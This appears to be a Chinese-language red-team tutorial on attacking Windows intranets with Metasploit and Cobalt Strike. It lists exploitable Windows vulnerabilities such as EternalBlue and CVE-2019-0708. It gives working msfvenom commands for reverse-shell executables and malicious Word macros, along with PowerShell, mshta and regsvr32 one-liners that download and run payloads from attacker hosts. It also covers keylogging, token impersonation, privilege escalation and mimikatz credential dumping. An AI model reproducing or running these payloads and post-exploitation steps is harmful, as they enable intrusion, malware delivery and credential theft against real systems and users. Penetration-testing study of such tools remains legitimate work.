0x01. 漏洞的概述
1. 漏洞概述
漏洞是程序或系统造成的缺失从而导致的
漏洞可以分为两种,一种是系统漏洞另一种是服务漏洞,系统漏洞比如前段时间爆出的CVE-2020-0796_RCE漏洞,该漏洞可以直接通过脚本来进行复现,其中服务漏洞,例如Apache解析了漏洞就算一种服务漏洞,我们可以上传图片到指定的网站来进行网页木马执行。
在红队攻防的时候,当我们打入内网的时候,我们就需要详细的进行了解该内网的一个资产情况,之后再对其分析存活主机的漏洞情况,之后再通过漏洞去横向其他机器。
2. Windows主机漏洞
- CVE-2008-4250 MSO8-067是处于XP上的一个漏洞,可直接攻破主机拿到权限
- MS12-020死亡蓝屏在主机开启3389的情况下,我们可以使用该漏洞直至对方蓝屏
- 永恒之蓝永恒之蓝这个漏洞大家应该熟悉,当年被wanna cry利用勒索
- CVE-2019-0708该漏洞是RDP远程执行漏洞可以对其直接执行命令或蓝屏
- CVE-2020-0796该漏洞处于Windows10下可直接rce
3. Windows程序漏洞
-
Chrome浏览器漏洞
-
phpstudy后门远程执行
-
hfs.exe文件服务器工具远程执行
-
小皮面板
-
Filezilla第三方提权
0x02. metasploit漏洞利用框架
1. metasploit漏洞利用框架
它的全称叫做The Metasploit Framework,简称叫做MSF。Metasploit作为全球最受欢迎的工具,不仅仅是因为它的方便性和强大性,更重要的是它的框架。它允许使用者开发自己的漏洞脚本,从而进行测试。
几乎任何公开通用漏洞都会被添加到Metasploit的武器库里,所以用好Metasploit是渗透致胜的关键。
msf的安装可以使用kali linux自带的,或者直接从网上下载
wget https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run
2. MSF配置监听
1.开始设置监听
use exploit/multi/handler
2.设置patyload
set payload windows/meterpreter/reverse_tcp
3.查看配置
show options
3. metasploit配置监听问题
- 在配置监听之前,我们需要明确的知道生成x64和x86版本的木马
- 如监听器是64位,上线32位的木马,那么就会造成很大的问题
- 例如我们在对永恒之蓝攻击的时候就会造成机器的蓝屏故障
4. MSF生成木马
msfvenom -p payload LHOST=本地地址 LPORT=本地端口 -f 文件类型 -o 木马文件
如:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.115 LPORT=4443 -f exe >shell.exe
配置好即可连接,点击exe执行即可上线
shell 进入windows平台的cmd , 如果乱码 chcp 65001 (设置英文编码)
补充 :msfvenom的常用命令 https://www.cnblogs.com/ChangeEverything/p/13862642.html
5. MSF的常用session操作
background 返回主监听隐藏
session. sessions -i [ID] 可进入某个session
portfwd add -l 3389-p 3389 -r [target host] 可实现于端口转发
upload 上传文件
download 下载文件
keyscan_start和keyscan_dump 可实现键盘记录
screenshot 截图
run vnc 远程桌面监控 , 一般不建议,很容易被杀
getsystem 获取超级系统权限
migrate 进程迁移
6. 基于MSF的端口扫描
search auxiliary/scanner/portscan
使用tcp扫描做一个演示
7. 收集内网smb信息
1.通过收集smb版本信息 , 查看使用的操作系统版本 , 如果大多是win10 , 很有可能是一个办公网
如果是win7 或者 win7 server的话 , 可能是一个服务内网
8. MSF针对系统漏洞验证
在MSF中,前缀为: auxiliary,大部分都是漏洞验证模块,我们可以使用其验证模块来鉴定
目标系统是否存在漏洞。
9. MSF针对系统漏洞利用
我们使用MSF对其攻破Windows主机,利用漏洞目标为:永恒之蓝
接下来,我会讲解各个操作:
10. MSF利用宏病毒上线
使用该命令即可创建宏文件·操作流程我会给大家演示
生成恶意宏代码
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.115 lport=6666 -f vba -o /var/www/html/shell.vba
然后新建一个doc文档,录制宏,停止录制,然后编辑宏,把生成的代码替换原本的宏代码,保存退出
然后把doc发给靶机 , 打开就上线 , 前提是对方开了支持宏,默认是关闭的
11. MSF利用浏览器漏洞上线
browser_autopwn是Metasploit提供的辅助功能模块,在用户访问Web页面时,它会自动攻击受害者的浏览器,在开始攻击之前 , browser_autopwn能够检测用户使用的浏览器类型 , browser_autopwn将根据浏览器的检测结果,自行部署最合适的exploit。
我们可以使用browser自动化的攻击浏览器。会生成一个url地址 , 受害者浏览器访问 , 有漏洞才会攻击成功
0x03. msf后渗透利用
前提是已经上线了
1. MSF假冒令牌
msf可以假冒令牌进行伪造身份提权
use incognito 使用模块list_tokens -u 查看可用的令牌impersonate_token 导入令牌
2. MSF提权getsystem命令
在了解getsystem命令之前了解一下命名管道,命名管道基于smb协议通信,smb,smb
它是用来让两个进程间进行通信的,这两个进程可以是本地进程,也可以是远程进程。命名管道有点类似于socket连接,是用来传输数据的,可以设置具体的权限让指定权限的进程才能连接命名管道,理论上每个程序都能连接命名管道,只是连接之后能做的事情不同,具体能做什么事跟服务端的配置有关系。
原理过程 : 在一个拥有SelmpersonatePrivilege权限的用户(User组)启动一个进程,这个进程的作用是创建一个命名管道等待连接,连接成功后模拟客户端的权限,并用这个权限启动一个cmd窗口。
但是不保证百分之百提权成功
3. MSF使用ms16_032提权
使用方法直接搜search ms16_032
之后去设置session ID,就可以对其进行提权了
4. MSF使用mimikatz
前提是system权限 但是msf6中mimikatz就已经改名字了,名字为kiwi
在后渗透中,mimikatz也是非常重要的一块,msf也自带了mimikatz模块
load mimikatzl 载入模块creds_allhelp kiwikiwi_cmd "命令" 即可使用
0x04. cobalt strike 工具
1. CS介绍
Cobalt Strike是一款渗透测试神器,简称:CS,常被业界人称为CS神器。Cobalt Strike已经不再使用MSF而是作为单独的平台使用,它分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。
CS具有一个服务端和一个客户端,服务端可以进行多人连接(多人运动),之后对其高级APT威胁,针对于红队而言,大部分远控都是使用的CS来进行控制的,因为界面化的操作更好的管理其主机。
2. CS监听器介绍
监听器类似于我们刚刚在MSF中学到的端口监听,因为主机上线需要连接一个监听的端口这样才能实现我们进行控制,在CS中,监听器默认是HTTP协议的。
设置监听端口只需要输入 ip port name 然后保存就好了
3. CS上线类型
CS支持多种花样上线模式,在这里逐个给大家介绍 :
1. exe上线
生成直接双击执行 , 没啥好说的
2. powershell command 上线
第一步选择payload生成
第二步将生成的payload在靶机的命令行回车执行 , 上线
3. Scripted Web Delivery(S)上线
第一步选择相应的攻击方式
第二步输入配置 , 生成
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.0.115:8085/abc'))"
本质上也是通过powershell远程加载上线 (可能360会拦截,测试没拦截)
第三步靶机命令行中输入生成的命令
4. 通过宏病毒上线
跟msf那个一样的操作生成宏病毒 , 然后更换原本的宏代码
5. mshta 上线
首先生成一个hta文件
然后通过cs开启一个web服务
选择对应的文件下载
最后在靶机执行命令
mshta http://192.168.0.115:8086/download/file.hta
复现失败 , 百度解决问题
6. DLL文件上线
首先生成dll文件
将生成的dll文件上传到靶机 , 然后在靶机注册dll文件上线
regsvr32 artifact.dll
4. CS无文件上线
在木马不免杀的情况下,无文件上线是最好的选择
1. mshta 远程地址
2.powershell.exe -nop -w hidden -c "IEX((new-object
net.webclient).downloadstring('http://192.168.0.133/payload.ps1'))"
3.regsvr32 /u /n /s li:http://127.0.0.1:80/a.png scrobj.dll
4.使用自带的远程无文件加载脚本功能
5. CS和msf的相互派生
cs会话派生给msf
1. 首先msf先监听一个端口
2.cs新建一个监听器
3.选中上线的靶机,增加会话
派生成功 ,但是我这边没有显示meterprete
msf派生给cs
msf中的操作
上线后将会话放置后台
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set LHOST 192.168.0.163 cs的ip
set LPORT 8288 cs监听的端口
set session 1
set DisablePayloadHandler true
run
6. 祷杌插件介绍
祷杌是一款多功能的插件,该插件内置提权,mimikatz等功能,可方便我们进行内网渗透。
github搜索 taowu即可
安装步骤 :导入插件,选择下载中的cna文件即可